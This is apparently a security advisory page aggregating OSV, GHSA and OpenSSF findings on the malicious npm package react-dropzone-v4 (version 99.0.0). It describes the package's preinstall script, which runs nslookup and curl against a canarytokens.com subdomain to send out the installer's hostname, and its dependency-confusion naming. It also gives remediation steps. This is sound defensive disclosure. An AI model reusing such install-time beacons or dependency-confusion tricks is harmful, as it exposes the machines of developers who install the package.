Malicious code in react-dropzone-v4 (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (28267e7286151b52836170e94617afcb3c49d17424f7b7ea9fab480c6e008c7c) The package's package.json declares a preinstall lifecycle script that runs automatically on npm install. The script performs an nslookup of $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com and a curl GET to http://hzbvy3cmgred066nig6n3ux0y.canarytokens.com/$(hostname), causing the installer's hostname to be transmitted to a third-party canarytokens.com subdomain via DNS and plaintext HTTP without consent. The package name mimics the popular react-dropzone library and uses an inflated version number (99.0.0) characteristic of dependency-confusion attacks that aim to win resolution against an internal package of the same name. The package provides no legitimate functionality; its only install-time effect is the out-of-band beacon identifying hosts that resolved and installed it. ## Source: ghsa-malware (cdc9b01b8657f654dde083e1258d59eb9fc8585bd850322180c79fb22f90aa18) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (a198afa2f10e287b1c9d5f196f5ca43288ccf306b9dc753a4d04221c3c91f76b) The OpenSSF Package Analysis project identified 'react-dropzone-v4' @ 99.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

Source published

11 Oct 2026 07:35:19 UTC

Source modified

26 Oct 2026 01:45:23 UTC

Observed here

26 Oct 2026 02:35:24 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.